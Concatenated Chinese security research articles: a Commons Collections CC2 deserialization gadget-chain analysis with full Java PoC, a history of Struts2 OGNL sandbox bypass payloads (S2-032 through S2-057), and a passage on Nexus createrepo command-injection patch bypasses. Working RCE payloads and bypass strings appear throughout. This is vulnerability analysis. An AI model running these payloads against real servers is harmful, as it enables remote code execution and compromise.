new InvokerTransformer("getMethod", new Class[] {String.class, Class[].class }, new Object[] { "getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {Object.class, Object[].class }, new Object[] { null, new Object[0] }),
new InvokerTransformer("exec", new Class[] { String.class}, new String[] {"calc.exe"}),
};
Transformer transformerChain = new ChainedTransformer(transformers);
TransformingComparator Tcomparator = new TransformingComparator(transformerChain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,Tcomparator);
try{
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc2.txt"));
outputStream.writeObject(queue);
outputStream.close();
System.out.println(barr.toString());
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc2.txt"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
## Javassit补充
**简述：**
Javassist是一个开源的分析、编辑和创建Java字节码的类库，可以直接编辑和生成Java生成的字节码。
能够在运行时定义新的Java类，在JVM加载类文件时修改类的定义。
Javassist类库提供了两个层次的API，源代码层次和字节码层次。源代码层次的API能够以Java源代码的形式修改Java字节码。字节码层次的API能够直接编辑Java类文件。
下面大概讲一下POC中会用到的类和方法：
**ClassPool**
ClassPool是CtClass对象的容器，它按需读取类文件来构造CtClass对象，并且保存CtClass对象以便以后使用，其中键名是类名称，值是表示该类的CtClass对象。
常用方法：
* `static ClassPool getDefault()`：返回默认的ClassPool，一般通过该方法创建我们的ClassPool；
* `ClassPath insertClassPath(ClassPath cp)`：将一个ClassPath对象插入到类搜索路径的起始位置；
* `ClassPath appendClassPath`：将一个ClassPath对象加到类搜索路径的末尾位置；
* `CtClass makeClass`：根据类名创建新的CtClass对象；
* `CtClass get(java.lang.String classname)`：从源中读取类文件，并返回对CtClass 表示该类文件的对象的引用；
**CtClass**
CtClass类表示一个class文件，每个CtClass对象都必须从ClassPool中获取。
常用方法：
* `void setSuperclass(CtClass clazz)`：更改超类，除非此对象表示接口；
* `byte[] toBytecode()`：将该类转换为类文件；
* `CtConstructor makeClassInitializer()`：制作一个空的类初始化程序（静态构造函数）；
**示例代码**
import javassist.*;
public class javassit_test {
public static void createPerson() throws Exception{
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//新建一个CtClass，类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "System.out.println(\"javassit_test succes!\");";
//制作一个空的类初始化，并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//加载该类
Class c = cc.toClass();
//创建对象
c.newInstance();
}
public static void main(String[] args) {
try {
createPerson();
} catch (Exception e){
e.printStackTrace();
}
}
}
新生成的类是这样子的，其中有一块static代码；
当该类被实例化的时候，就会执行static里面的语句；
## 利用链2分析
在ysoserial的cc2中引入了 TemplatesImpl 类来进行承载攻击payload，需要用到javassit；
先给出POC：
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Test2 {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
**代码1**
通过反射实例化InvokerTransformer对象，设置InvokerTransformer的methodName为`newTransformer`；
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) onstructor.newInstance("newTransformer");
**代码2**
实例化一个TransformingComparator对象，将transformer传进去；
实例化一个PriorityQueue对象，传入不小于1的整数，comparator参数就为null；
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
**代码3**
这里就要用到javassit的知识；
//实例化一个ClassPool容器
ClassPool pool = ClassPool.getDefault();
//向pool容器类搜索路径的起始位置插入AbstractTranslet.class
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//新建一个CtClass，类名为Cat
CtClass cc = pool.makeClass("Cat");
//设置一个要执行的命令
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
//制作一个空的类初始化，并在前面插入要执行的命令语句
cc.makeClassInitializer().insertBefore(cmd);
//重新设置一下类名，生成的类的名称就不再是Cat
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//将生成的类文件保存下来
cc.writeFile();
//设置AbstractTranslet类为该类的父类
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
//将该类转换为字节数组
byte[] classBytes = cc.toBytecode();
//将一维数组classBytes放到二维数组targetByteCodes的第一个元素
byte[][] targetByteCodes = new byte[][]{classBytes};
这段代码会新建一个类，并添加了一个static代码块；
**代码4**
使用TemplatesImpl的空参构造方法实例化一个对象；
再通过反射对个字段进行赋值，为什么要这样赋值下面再说；
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
**代码5**
新建一个对象数组，第一个元素为templates，第二个元素为1；
然后通过反射将该数组传到queue中；
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
**代码6**
通过反射将queue的size设为2，与POC1中使用两个add的意思一样；
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
**代码6**
通过反射给queue的comparator参数赋值；
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
从`PriorityQueue.readObject()`方法看起，queue变量就是我们传入的templates和1，size也是我们传入的2；
跟进siftDown方法，comparator参数就是我们传入的TransformingComparator实例化的对象；
到TransformingComparator的compare方法，obj1就是我们传入的templates，
这里的`this.transformer`就是我们传入的transformer；
跟到`InvokerTransformer.transform()`，input就是前面的obj1，`this.iMethodName`的值为传入的newTransformer，因为newTransformer方法中调用到了getTransletInstance方法；
接着调用templates的newTransformer方法，而templates是TemplatesImpl类的实例化对象，也就是调用了`TemplatesImpl.newTransformer()`；
跟踪该方法；
继续跟踪getTransletInstance方法；
进行if判断，`_name`不为空，`_class`为空，才能进入defineTransletClasses方法；
这就是代码4中赋值的原因；
跟进defineTransletClasses方法；
`_bytecodes`也不能为null，是我们传入的targetByteCodes，也就是代码3的内容，转换成字节数组是一串这样子的；
继续往下；
通过`loader.defineClass`将字节数组还原为Class对象，`_class[0]`就是javassit新建的类`EvilCat1153850011981000`；
再获取它的父类，检测父类是否为`ABSTRACT_TRANSLET`，所以代码3中要设置AbstractTranslet类为新建类的父类；
给`_transletIndex`赋值为0后，返回到getTransletInstance方法，创建`_class[_transletIndex]`的对象，即创建`EvilCat1153850011981000`类的对象，那么该类中的static代码部分就会执行，成功执行命令；
参考连接：
<https://blog.csdn.net/qq_41918771/article/details/117194343>
<https://www.cnblogs.com/depycode/p/13583102.html>
<https://www.cnblogs.com/nice0e3/p/13811335.html> | 社区文章 |
# 浅析OGNL的攻防史
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
在分析Struts2漏洞的过程中就一直想把OGNL的运行机制以及Struts2对OGNL的防护机制总结一下，但是一直苦于自己对Struts2的理解不是很深刻而迟迟无法动笔，最近看了[lgtm的这篇文章](https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit)收获良多，就想在这篇文章的基础上总结一下目前自己对于OGNL的一些理解，希望师傅们斧正。
## 0x01 OGNL与Struts2
### 1.1 root与context
OGNL中最需要理解清楚的是root（根对象）、context（上下文）。
* root：root可以理解为是一个java对象，表达式所规定的所有操作都是通过root来指定其对哪个对象进行操作。
* context：context可以理解为对象运行的上下文环境，context以MAP的结构，利用键值对关系来描述对象中的属性以及值。
Struts2框架使用了标准的命名上下文（naming context，我实在是不知道咋翻译了-.
-）来执行OGNL表达式。处理OGNL的最顶层对象是一个Map对象，通常称这个Map对象为context
map或者context。而OGNL的root就在这个context
map中。在表达式中可以直接引用root对象的属性，如果需要引用其他的对象，需要使用#标明。
框架将OGNL里的context变成了我们的ActionContext，将root变成了valueStack。Struts2将其他对象和valueStack一起放在ActionContext中，这些对象包括application、session、request
context的上下文映射。下面是一个图例：
### 1.2 ActionContext
ActionContext是action的上下文，其本质是一个MAP，简单来说可以理解为一个action的小型数据库，整个action生命周期（线程）中所使用的数据都在这个ActionContext中。而对于OGNL来说ActionContext就是充当context的，并且在框架中
这里盗一张图来说明ActionContext中存有哪些东西：
可以看到其中有三个常见的作用域request、session、application。
* attr作用域则是保存着上面三个作用域的所有属性，如果有重复的则以request域中的属性为基准。
* paramters作用域保存的是表单提交的参数。
* VALUE_STACK，也就是常说的值栈，保存着valueStack对象，也就是说可以通过ActionContext访问到valueStack中的值。
### 1.3 valueStack
值栈本身是一个ArrayList，充当OGNL的root：
root在源码中称为CompoundRoot，它也是一个栈，每次操作valueStack的出入栈操作其实就是对CompoundRoot进行对应的操作。每当我们访问一个action时，就会将action加入到栈顶，而提交的各种表单参数会在valueStack从顶向下查找对应的属性进行赋值。
这里的context就是ActionContext的引用，方便在值栈中去查找action的属性。
### 1.4 ActionContext和valueStack的关系
可以看到其实ActionContext和valueStack是“相互包含”的关系，当然准确点来说，valueStack是ActionContext中的一部分，而ActionContext所描述的也不只是一个OGNLcontext的代替品，毕竟它更多是为action构建一个独立的运行环境（新的线程）。而这样的关系就导致了我们可以通过valueStack访问ActionContext中的属性而反过来亦然。
其实可以用一种不是很标准的表达方式来描述这样的关系：可以把valueStack想成ActionContext的索引，你可以直接通过索引来找到表中的数据，也可以在表中找到所有数据的索引，无非是书与目录的关系罢了。
## 0x02 OGNL的执行
### 2.1 初始化ValueStack
我们从代码的角度来看看OGNL的执行流。从Struts2框架的代码中，我们可以清楚的看到OGNL的包是位于xwork2中的，而连通Struts2与xwork2的桥梁就是ActionProxy，也就是说在ActionProxy接管整个控制权前，FilterDispatcher就已经完成了对ActionContext的建立与初始化。
而具体的代码是在org.apache.struts2.dispatcher.PrepareOperations中：
在这里如果没有Context存在的话，则会调用ValueStackFactory这个接口的createValueStack方法，跟进看一下：
跟进OgnlValueStackFactory：
这几个参数分别为：
跟进看一下OgnlValueStack的构造方法：
可以看到设置根、设置安全防范措施、以及调用Ognl.createDefaultContext来创建默认的Context映射：
这里我们跟到OgnlContext中看一下，有这么几个对象时比较重要的，他们规定了OGNL计算中的计算规则处理类：
* _root：在OgnlContext内维护着的Root对象，它是OGNL主要的操作对象
* _values：如果希望在OGNL计算时使用传入的Map作为上下文环境，OGNL依旧会创建一个OgnlContext，并将所传入的Map中所有的键值对维护在_values变量中。这个变量就被看作真正的容器，并在OGNL的计算中发挥作用。
* ClassResolver：指定处理class loading的处理类。实际上这个处理类是用于指定OGNL在根据Class名称来构建对象时，寻找Class名称与对应的Class类之间对应关系的处理方式。在默认情况下会使用JVM的class.forName机制来处理。
* TypeConverter：指定处理类型转化的处理类。这个处理类非常关键，它会指定一个对象属性转化成字符串以及字符串转化成Java对象时的处理方式。
* MemberAccess：指定处理属性访问策略的处理方式。
可以看到这里的ClassResolver是有关类的寻址以及调用的，也就是常说的所谓的执行。
### 2.2 将现有的值和字段添加进ValueStack中（构造）
在初始化了ValueStack后，发现了后面的container.inject(stack);，这里是将依赖项注入现有的字段和方法，而在这个地方会调用com.opensymphony.xwork2.ognl.OgnlValueStack$setOgnlUtil将我们所关心的黑名单给添加进来：
然而其根本的作用是创建_memberAccess。
这里可以注意到调用栈中首先是初始化了ValueStack之后再通过OgnlUtil这个API将数据和方法注入进ValueStack中，而ValueStack又是利用OgnlContext来创建的，所以会看到OgnlContext中的_memberAccess与securityMemberAccess是同一个SecurityMemberAccess类的实例，而且内容相同，也就是说全局的OgnlUtil实例都共享着相同的设置。如果利用OgnlUtil更改了设置项（excludedClasses、excludedPackageNames、excludedPackageNamePatterns）则同样会更改_memberAccess中的值。
这里可能不太好理解，可以看下面这几张图：
1. 首先ValueStack本身是个OgnlContext
*
2. 之后调用setOgnlUtil添加黑名单：
*
3. 然后OgnlUtil中的这些值赋给SecurityMemberAccess
* *
也就是与OgnlContext中的_memberAccess建立关系，即创建了_memberAccess：
*
而这一点在沙箱绕过时起到了很重要的作用。
### 2.3 创建拦截器（Interceptor）
在之后当控制权转交给ActionProxy时会调用OgnlUtil作为操作OGNL的API，在创建拦截器（Interceptor）时会调用com.opensymphony.xwork2.config.providers.InterceptorBuilder：
在这里利用工场函数来创建拦截器，跟进看一下：
也就是把设置好的黑名单赋到SecurityMemberAccess中，在当前的上下文中用以检验表达式所调用的方法是否允许被调用。
### 2.4 OGNL执行（利用反射调用）
说完了初始化，再来说一下所谓的OGNL执行，在这里引用一下《Struts2技术内幕》这本书的一个表，这个表主要列举了OGNL计算时所需要遵循的一些重要的计算规则和默认实现类：
接下来就跟进CompoundRootAccessor看一下：
在这里拓展了ognl.DefaultClassResovler，可以支持一些特殊的class名称。
## 0x03 OGNL的攻防史
回看S2系列的漏洞，每当我们找到一个可以执行OGNL表达式的点在尝试构造恶意的OGNL时都会遇到这个防护机制，在我看了[lgtm](https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit)这篇文章后，我就想把围绕SecurityMemberAccess的攻防历史来全部梳理一遍。
可以说所有在对于OGNL的攻防全部都是基于如何使用静态方法。Struts2的防护措施从最开始的正则，到之后的黑名单，在保证OGNL强大功能的基础上，将可能执行静态方法的利用链给切断。在分析绕过方法时，需要注意的有这么几点：
* struts-defult.xml中的黑名单
* com.opensymphony.xwork2.ognl.SecurityMemberAccess
* Ognl包
以下图例左边都是较为新的版本，右边为老版本。
### 3.1 Struts 2.3.14.1版本前
S2-012、S2-013、S3-014的出现促使了这次更新，可以说在跟新到2.3.14.1版本前，ognl的利用基本属于不设防状态，我们可以看一下这两个版本的diff，不难发现当时还没有出现黑名单这样的说法，而修复的关键在于SecurityMemberAccess：
左边是2.3.14.1的版本，右边是2.3.14的版本，不难看出在这之前可以通过ognl直接更改allowStaticMethodAccess=true，就可以执行后面的静态方法了，所以当时非常通用的一种poc是：
(#_memberAccess[‘allowStaticMethodAccess’]=true).(@java.lang.Runtime@getRuntime().exec(‘calc’))
而在2.3.14.1版本后将allowStaticMethodAccess设置成final属性后，就不能显式更改了，这样的poc显然也失效了。
### 3.2 Struts 2.3.20版本前
在2.3.14.1后虽然不能更改allowStaticMethodAccess了，但是还是可以通过_memberAccess使用类的构造函数，并且访问公共函数，所以可以看到当时有一种替代的poc：
(#p=new java.lang.ProcessBuilder(‘xcalc’)).(#p.start())
直到2.3.20，这样的poc都可以直接使用。在2.3.20后，Struts2不仅仅引入了黑名单（excludedClasses,
excludedPackageNames 和
excludedPackageNamePatterns），更加重要的是阻止了所有构造函数的使用，所以就不能使用ProcessBuilder这个payload了。
### 3.3 Struts 2.3.29版本前
左为2.3.29版本，右边为2.3.28版本
从黑名单中可以看到禁止使用了ognl.MemberAccess和ognl.DefaultMemberAccess，而这两个对象其实就是2.3.20-2.3.28版本的通用绕过方法，具体的思路就是利用_memberAccess调用静态对象DefaultMemberAccess，然后用DefaultMemberAccess覆盖_memberAccess。那么为什么说这样就可以使用静态方法了呢？
我们先来看一下可以在S2-032、S2-033、S2-037通用的poc：
(#[email protected]@DEFAULT_MEMBER_ACCESS).(@java.lang.Runtime@getRuntime().exec(‘xcalc’))
我们来看一下ognl.OgnlContext@DEFAULT_MEMBER_ACCESS：
看过上一节的都知道，在程序运行时在setOgnlUtil方法中将黑名单等数据赋给SecurityMemberAccess，而这就是创建_memberAccess的过程，在动态调试中，我们可以看到这两个对象的id甚至都是一样的，而SecurityAccess这个对象的父类本身就是ognl.DefaultMemberAccess，而其建立关系的过程就相当于继承父类并重写父类的过程，所以这里我们利用其父类DefaultMemberAccess覆盖_memberAccess中的内容，就相当于初始化了_memberAccess，这样就可以绕过其之前所设置的黑名单以及限制条件。
### 3.4 Struts 2.3.30+/2.5.2+
到了2.3.30(2.5.2)之后的版本，我们可以使用的_memberAccess和DefaultMemberAccess都进入到黑名单中了，覆盖的方法看似就不行了，而这个时候S2-045的payload提供了一种新的思路：
(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.excludedClasses.clear()).(#ognlUtil.excludedPackageNames.clear()).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(‘xcalc’))
可以看到绕过的关键点在于：
* 利用Ognl执行流程利用container获取了OgnlUtil实例
* 清空了OgnlUtil$excludedClasses黑名单，释放了DefaultMemberAccess
* 利用setMemberAccess覆盖
而具体的流程可以参考2.2的内容。
### 3.5 Struts 2.5.16
分析过S2-057后，你会发现ognl注入很容易复现，但是想要调用静态方法造成代码执行变得很难，我们来看一下Struts2又做了哪些改动：
* 2.5.13版本后禁止访问coontext.map
* 准确来说是ognl包版本的区别，在2.5.13中利用的是3.1.15版本，在2.5.12版本中使用的是3.1.12版本：
* * 而这个改变是在OgnlContext中：
* * 不只是get方法，put和remove都没有办法访问了，所以说从根本上禁止了对context.map的访问。
* 2.5.20版本后excludedClasses不可变了，具体的代码在[这里](https://github.com/apache/struts/commit/748da3f8ce6b9f3953bc418745c35a534e5b98ca)
所以在S2-045时可使用的payload已经没有办法再使用了，需要构造新的利用方式。
文章提出了这么一种思路:
* 没有办法使用context.map，可以调用attr，前文说过attr中保存着整个context的变量与方法，可以通过attr中的方法返回给我们一个context.map。
* 没有办法直接调用excludedClasses，也就不能使用clear方法来清空，但是还可以利用setter来把excludedClasses给设置成空
* 清空了黑名单，我们就可以利用DefaultMemberAccess来覆盖_memberAccess，来执行静态方法了。
而这里又会出现一个问题，当我们使用OgnlUtil的setExcludedClasses和setExcludedPackageNames将黑名单置空时并非是对于源（全局的OgnlUtil）进行置空，也就是说_memberAccess是源数据的一个引用，就像前文所说的，在每次createAction时都是通过setOgnlUtil利用全局的源数据创建一个引用，这个引用就是一个MemberAccess对象，也就是_memberAccess。所以这里只会影响这次请求的OgnlUtil而并未重新创建一个新的_memberAccess对象，所以旧的_memberAccess对象仍未改变。
而突破这种限制的方式就是再次发送一个请求，将上一次请求已经置空的OgnlUitl作为源重新创建一个_memberAccess，这样在第二次请求中_memberAccess就是黑名单被置空的情况，这个时候就释放了DefaultMemberAccess，就可以进行正常的覆盖以及执行静态方法。
poc为：
(#context=#attr[‘struts.valueStack’].context).(#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses(”)).(#ognlUtil.setExcludedPackageNames(”))
(#context=#attr[‘struts.valueStack’].context).(#context.setMemberAccess(@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS)).(@java.lang.Runtime@getRuntime().exec(‘curl
127.0.0.1:9001’))
需要发送两次请求：
## 0x04 现阶段的OGNL
Struts2在
2.5.16版本后做了很多修改，截止到写文章的时候，已经更新到2.5.20，接下来我将把这几个版本的区别全部都列出来，并且说明现在绕过Ognl沙箱面临着哪些阻碍。同上一节，左边都为较新的版本，右边为较旧的版本。
### 4.1 2.5.17的改变（限制命名空间）
1. 黑名单的变动，禁止访问com.opensymphony.xwork2.ognl.
* * 讲道理，2.5.17版本的修补真的是很暴力，直接在黑名单中加上了com.opensymphony.xwork2.ognl.也就是说我们根本没办法访问这个Struts2重写的ognl包了。
2. 切断了动态引用的方式，需要利用构造函数生成
* * 不谈重写了setExcludedClasses和setExcludedPackageNamePatterns，单单黑名单的改进就极大的限制了利用。
### 4.2 2.5.19的改进
3. ognl包的升级，从3.1.15升级到3.1.21
*
4. 黑名单改进
*
5. 在OgnlUtil中setXWorkConverter、setDevMode、setEnableExpressionCache、setEnableEvalExpression、setExcludedClasses、setExcludedPackageNamePatterns、setExcludedPackageNames、setContainer、setAllowStaticMethodAccess、setDisallowProxyMemberAccess都从public方法变成了protected方法了：
* *
也就是说没有办法显式调用setExcludedClasses、setExcludedPackageNamePatterns、setExcludedPackageNames了。
### 4.3 master分支的改变
6. ognl包的升级，从3.1.21升级到3.2.10，直接删除了DefaultMemberAccess.java，同时删除了静态变量DEFAULT_MEMBER_ACCESS，并且_memberAccess变成了final：
* *
7. SecurityMemberAccess不再继承DefaultMemberAccess而直接转为MemberAccess接口的实现：
*
可以看到Struts2.5.*基本上是对Ognl的执行做出了重大的改变，DefaultAccess彻底退出了历史舞台意味着利用父类覆盖_memberAccess的利用方式已经无法使用，而黑名单对于com.opensymphony.xwork2.ognl的限制导致我们基本上没有办法利用Ognl本身的API来更改黑名单，同时_memberAccess变为final属性也使得S2-057的这种利用_memberAccess暂时性的特征而进行“重放攻击”的方式测地化为泡影。
### 4.4 总结
Struts2随着其不断地发展，减少了原来框架的一部分灵活性而大大的增强了其安全性，如果按照master分支的改动趋势上看，以我的理解上来说，可以说现在基本上没得搞…
## 0x05 Reference
* https://cloud.tencent.com/developer/article/1024093
* https://lgtm.com/blog/apachestrutsCVE-2018-11776-exploit
* 《Struts2技术内幕》 | 社区文章 |
**作者: Badcode and Longofo@知道创宇404实验室**
**时间: 2020年2月9日**
**English Version：<https://paper.seebug.org/1261/>**
### 前言
2019年9月初我们应急了Nexus Repository Manager 2.x 命令注入漏洞(CVE-2019-5475)，其大致的原因和复现步骤在
[hackerone](https://hackerone.com/reports/654888)
上公布了，在应急完这个漏洞之后，我们分析该漏洞的修复补丁，发现修复不完全，仍然可以绕过，本篇文章记录该漏洞的两次绕过。虽然早发布了两次的修复版本，由于官方第二次更新公告太慢<https://support.sonatype.com/hc/en-us/articles/360033490774>，所以现在才发。
几次更新时间线：
* CVE-2019-5475（2019-08-09）
* 第一次绕过，CVE-2019-15588（2019-10-28）
* 第二次绕过，未分配CVE，更新了公告影响版本（2020-3-25）
**注：** 原始漏洞分析、第一次绕过分析、第二次绕过分析部分主要由Badcode师傅编写，第二次绕过分析+、最新版本分析主要由Longofo添加。
### 原始漏洞分析
#### 利用条件
* 需管理员权限(默认认证：admin/admin123)
#### 漏洞分析
以下分析的代码基于 2.14.9-01 版本。
漏洞点是出现在 Yum Repository 插件中，当配置 Yum 的 `createrepo`或者`mergerepo`时
代码层面会跳到
`YumCapability`的[`activationCondition`](https://github.com/sonatype/nexus-public/blob/release-2.14.9-01/plugins/yum/nexus-yum-repository-plugin/src/main/java/org/sonatype/nexus/yum/internal/capabilities/YumCapability.java#L82)方法中。
在上面`Path of
"createrepo"`中设置的值会通过`getConfig().getCreaterepoPath()`获取到，获取到该值之后，调用`this.validate()`方法
传进来的`path`是用户可控的，之后将`path`拼接`--version`之后传递给`commandLineExecutor.exec()`方法，看起来像是执行命令的方法，而事实也是如此。跟进`CommandLineExecutor`类的`exec`方法
在执行命令前先对命令解析，`CommandLine.parse()`，会以空格作为分隔，获取可执行文件及参数。
最终是调用了`Runtime.getRuntime().exec()`执行了命令。
例如，用户传入的 command 是`cmd.exe /c
whoami`，最后到`getRuntime().exec()`方法就是`Runtime.getRuntime().exec({"cmd.exe","/c","whoami"})`。
所以漏洞的原理也很简单，就是在`createrepo`或者`mergerepo`路径设置的时候，该路径可以由用户指定，中途拼接了`--version`字符串，最终到了`getRuntime.exec()`执行了命令。
#### 漏洞复现
在`Path of "createrepo"`里面传入 payload。
在`Status`栏可以看到执行的结果
### 第一次绕过分析
#### 第一次补丁分析
官方补丁改了几个地方，关键点在[这里](https://github.com/sonatype/nexus-public/commit/e8769e53f6bb601126ef5d21f9ea009873b65e25#diff-4ab0523de106ac7a38808f0231fc8a23R81)
常规做法，在执行命令前对命令进行过滤。新增加了一个`getCleanCommand()`方法，对命令进行过滤。
`allowedExecutables`是一个
HashSet，里面只有两个值，`createrepo`和`mergerepo`。先判断用户传入的`command`是否在`allowedExecutables`里面，如果在，直接拼接`params`即`--version`直接返回。接着对用户传入的`command`进行路径判断，如果是以nexus的工作目录(`applicationDirectories.getWorkDirectory().getAbsolutePath()`)开头的，直接返回
null。继续判断，如果文件名不在`allowedExecutables`则返回 null，也就是这条命令需要
以`/createrepo`或者`/mergerepo`结尾。都通过判断之后，文件的绝对路径拼接`--version` 返回。
#### 第一次补丁绕过
说实话，看到这个补丁的第一眼，我就觉得大概率可以绕。
传入的命令满足两个条件即可，不以nexus的工作目录开头，并且以`/createrepo`或者`/mergerepo`结尾即可。
看到补丁中的`getCleanCommand()`方法，`new File(command)`是关键，`new
File()`是通过将给定的路径名字符串转换为抽象路径名来创建新的File实例。 值得注意的是，这里面路径字符串是可以使用空格的，也就是
String f = "/etc/passwd /shadow";
File file = new File(f);
这种是合法的，并且调用`file.getName()`取到的值是`shadow`。结合这个特性，就可以绕过补丁里面的判断。
String cmd = "/bin/bash -c whoami /createrepo";
File file = new File(cmd);
System.out.println(file.getName());
System.out.println(file.getAbsolutePath());
运行结果
可以看到，`file.getName()`的值正是`createrepo`，满足判断。
#### 第一次绕过测试
##### 测试环境
* 2.14.14-01 版本
* Linux
##### 测试步骤
在`Path of "createrepo"`里面传入 payload。
在`Status`栏查看执行的结果
可以看到，成功绕过了补丁。
在 Windows 环境下面就麻烦点了，没有办法使用`cmd.exe /c whoami`这种形式执行命令了，因为`cmd.exe /c
whoami`经过`new File()` 之后变成了`cmd.exe \c
whoami`，后面是执行不了的。可以直接执行exe，注意后面是还会拼接`--version`的，所以很多命令是执行不了的，但是还是有办法利用能执行任意exe这点来做后续的攻击的。
### 第二次绕过分析
#### 第二次补丁分析
在我提交上述绕过方式后，官方修复了这种绕过方式，看下官方的[补丁](https://github.com/sonatype/nexus-public/commit/3dd1d59393149833150b702ddf6485b5ef3312bd#diff-4ab0523de106ac7a38808f0231fc8a23R111)
在`getCleanCommand()` 方法中增加了一个`file.exists()`判断文件是否存在。之前的`/bin/bash -c whoami
/createrepo`这种形式的肯定就不行了，因为这个文件并不存在。所以现在又多了一个判断，难度又加大了。难道就没有办法绕过了？不是的，还是可以绕过的。
#### 第二次补丁绕过
现在传入的命令要满足三个条件了
* 不以nexus的工作目录开头
* 以`/createrepo`或者`/mergerepo`结尾
* 并且这`createrepo`或者`mergerepo`这个文件存在
看到`file.exists()`我就想起了 php 中的 `file_exists()`，以前搞 php 的时候也遇到过这种判断。有个系统特性，在
Windows 环境下，目录跳转是允许跳转不存在的目录的，而在Linux下面是不能跳转不存在目录的。
测试一下
Linux
可以看到，`file.exists()`返回了 false
Windows
`file.exists()`返回了 true
上面我们说了`new File(pathname)`，pathname 是允许带空格的。在利用上面WIndows环境下的特性，把cmd设置成
`C:\\Windows\\System32\\calc.exe \\..\\..\\win.ini`
经过`parse()`
方法，最终到`getRuntime.exec({"C:\\Windows\\System32\\calc.exe","\\..\\..\\win.ini"})`，这样就能执行`calc`了。
在上面这个测试`win.ini`是确实存在的文件，回到补丁上面，需要判断`createrepo`或者`mergerepo`存在。首先从功能上来说，createrepo
命令用于创建 yum
